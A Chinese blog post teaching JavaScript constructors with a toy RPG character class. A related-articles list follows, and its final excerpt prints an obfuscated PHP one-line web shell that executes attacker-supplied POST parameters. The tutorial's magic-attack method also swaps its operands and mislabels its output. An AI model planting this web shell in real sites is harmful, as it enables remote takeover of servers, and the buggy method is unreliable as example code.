2016.8.07 一个自欺欺人的代码(便于理解函数和对象)

  之前在对象基础里,我说对象就像游戏里的一个人物,这个人物有血条,魔条,物理攻击力等等的基本属性,也有攻击等基本方法。

  在这里,我就写一个小例子,是用来自欺欺人的。真的,随便玩玩就好,如果想认真的做一个回合制游戏,可以参考我这个代码。

不说了,直接上代码:

     function Person(o){
            this.name= o.name;   //名字
            this.profession= o.profession;//职业
            this.rank= o.rank;    //等级
            this.blood= o.blood;    //血条
            this.margic= o.margic;   //蓝条

            this.physics_attack= o.physics_attack;   //物理攻击力
            this.margic_attack= o.margic_attack;     //魔法攻击力
            this.physics_defense= o.physics_defense;  //物理防御力
            this.margic_defense= o.margic_defense;    //魔法防御力
            this.speed= o.speed;                      //速度
            this.attribute=function(){
                console.log(this.name+"基本属性:");
                console.log("职业:"+this.profession+"  等级:"+this.rank+"  血条:"+
                this.blood+"  蓝条:"+this.margic+" 物理攻击力:"+
                this.physics_attack+"  魔法攻击力:"+this.margic_attack+
                "  物理防御力:"+this.physics_defense+"  魔法防御力:"+
                this.margic_defense+"  速度:"+this.speed);}                        //基本属性显示
            this.physics_attack_two=function(two){
                var hurt=this.physics_attack-two.physics_defense>0?this.physics_attack-two.physics_defense:0;
                two.blood-=hurt;
                console.log(this.name+"的拳头攻击了"+two.name);
                console.log(this.name+"的物理攻击是"+this.physics_attack+","+two.name+"的物理防御是"+two.physics_defense);
                console.log("所以,"+two.name+"承受了"+hurt+"伤害");}  //物理攻击(谁)
            this.margic_attack_two=function(two){
                var hurt=two.margic_attack-this.margic_defense>0?two.margic_attack-this.margic_defense:0;
                two.blood-=hurt;
                console.log(this.name+"的魔法攻击了"+two.name)
                console.log(this.name+"的物理攻击是"+this.margic_attack+","+two.name+"的物理防御是"+two.margic_defense);
                console.log("所以,"+two.name+"承受了"+hurt+"伤害");}   //魔法攻击(谁)
        }

         var lizhiyang=new Person({
            name:"张三",
            profession:"神棍",
            rank:1,
            blood:50,
            margic:200,

            physics_attack:100,
            margic_attack:20,
            physics_defense:0,
            margic_defense:10,
            speed:1
        });
        var chenan=new Person({
            name:"王五",
            profession:"和平人士",
            rank:1,
            blood:5000,
            margic:200,

            physics_attack:10,
            margic_attack:20,
            physics_defense:10,
            margic_defense:10,
            speed:1
        });

        lizhiyang.attribute();
        chenan.attribute();

        lizhiyang.physics_attack_two(chenan);
        lizhiyang.margic_attack_two(chenan);

        lizhiyang.attribute();
        chenan.attribute();

如果觉得代码太乱了,可以不用看,但我建议还是看下吧,毕竟我个人认为这串代码对理解函数和对象很有帮助。

如果想要拓展做成一个回合制游戏的,我只能给一个建议:人物对象里可以有技能对象(技能对象里有血战八方、凤舞九天等技能对象,血战八方则有攻击力、魔法攻击力等属性)。

如果真的想做的话,请私聊我,咱们一起成长,顺便一起探讨人生。

时间: 2024-08-05 15:16:49

2016.8.07 一个自欺欺人的代码(便于理解函数和对象)的相关文章

2016.8.07 this、new、模式工厂、创建新的构造函数

写在前面:今天我将发表函数基础.对象基础.this.new.封装.封装例子  这几篇个人理解文章.最好能一口气看完,并自己写下,相信会对想要理解函数和对象的朋友们会有一些帮助. 目录:模式工厂. this.new.创建新的构造函数 模式工厂:将对象放入函数中,批量创建对象 代码: function Student(name,age,sex){ var o=new Object();//先定义一个对象, o.name=name; o.age=age; o.sex=sex; o.sayHi=func

2016.8.07 对象基础

写在前面:今天我将发表函数基础.对象基础.this.new.封装.封装例子  这几篇个人理解文章.最好能一口气看完,并自己写下,相信会对想要理解函数和对象的朋友们会有一些帮助. 目录:对象前言.自定义对象.对象for-in(对象没有length属性) 对象前言: 对象的作用: 对象可以帮助我们封装一些数据,方便我们在程序中的传输或是控制, 第二个,对象可以帮助我们描述一些事物 一个是程序中,比如 Math, Array, function 二个是现实生中的事物: 笔记本,汽车,人,学生或是老师

2016.8.07 函数基础

写在前面:今天我将发表函数基础.对象基础.this.new.封装.封装例子  这几篇个人理解文章.最好能一口气看完,并自己写下,相信会对想要理解函数和对象的朋友们会有一些帮助. 目录:函数的三种声明方式. 函数的return. 函数形参和实参的区别. 函数注意 函数的三种声明方式: 1.自定义函数: function f1(){ alert("asd"); } 调用方式: 函数名 f1(); 特点: (1)函数声明的函数在JS预解析的时候,会提升到作用域的最前面 (2)函数声明中的函数

Python array,list,dataframe索引切片操作 2016年07月19日——智浪文档

array,list,dataframe索引切片操作 2016年07月19日——智浪文档 list,一维,二维array,datafrme,loc.iloc.ix的简单探讨 Numpy数组的索引和切片介绍: 从最基础的list索引开始讲起,我们先上一段代码和结果: a = [0,1,2,3,4,5,6,7,8,9] a[:5:-1] #step < 0,所以start = 9 a[0:5:-1] #指定了start = 0 a[1::-1] #step < 0,所以stop = 0 输出: [

webmagic的是一个无须配置、便于二次开发的爬虫框架

webmagic的是一个无须配置.便于二次开发的爬虫框架,它提供简单灵活的API,只需少量代码即可实现一个爬虫. 以下是爬取oschina博客的一段代码: ? 1 2 Spider.create(new SimplePageProcessor("http://my.oschina.net/", "http://my.oschina.net/*/blog/*")).thread(5).run(); webmagic采用完全模块化的设计,功能覆盖整个爬虫的生命周期(链接

guozhongCrawler的是一个无须配置、便于二次开发

guozhongCrawler的是一个无须配置.便于二次开发的爬虫开源框架,它提供简单灵活的API,只需少量代码即可实现一个爬虫.模块化设计完全 面向业务提供接口,功能覆盖整个爬虫的生命周期(链接提取.页面下载.内容抽取.持久化),支持多线程抓取,分布式抓取,并支持自动重试,定制执行js. 自定义cookie等功能.在处理网站抓取多次后被封IP的问题上,guozhongCrawler采用动态轮换IP机制有效防止IP被封.另外,源码中 的注释及Log输出全部采用通俗易懂的中文.让初学者能有更加深刻

学习笔记之03-第一个C程序代码分析

一.代码分析 打开项目中的main.c文件(C程序的源文件拓展名为.c),可以发现它是第一个C程序中的唯一一个源文件,代码如下: 1 #include <stdio.h> 2 3 int main(int argc, const char * argv[]) { 4 // insert code here... 5 printf("Hello, World!\n"); 6 return 0; 7 } 1.#include <stdio.h> #include 是

第一个C程序代码分析

一.代码分析 1.打开项目中的main.c文件(C程序的源文件拓展名为.c),可以发现它是第一个C程序中的唯一一个源文件,代码如下: #include <stdio.h> int main(int argc, const char * argv[]) { // insert code here... printf("Hello, World!\n"); return 0; } 2.#include <stdio.h> (1)#include 是C语言的预处理指令

一个一句话后门代码详解

神秘的一句话后门代码内容: <?php    @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]); ?> 代码作用: 以上代码即是PH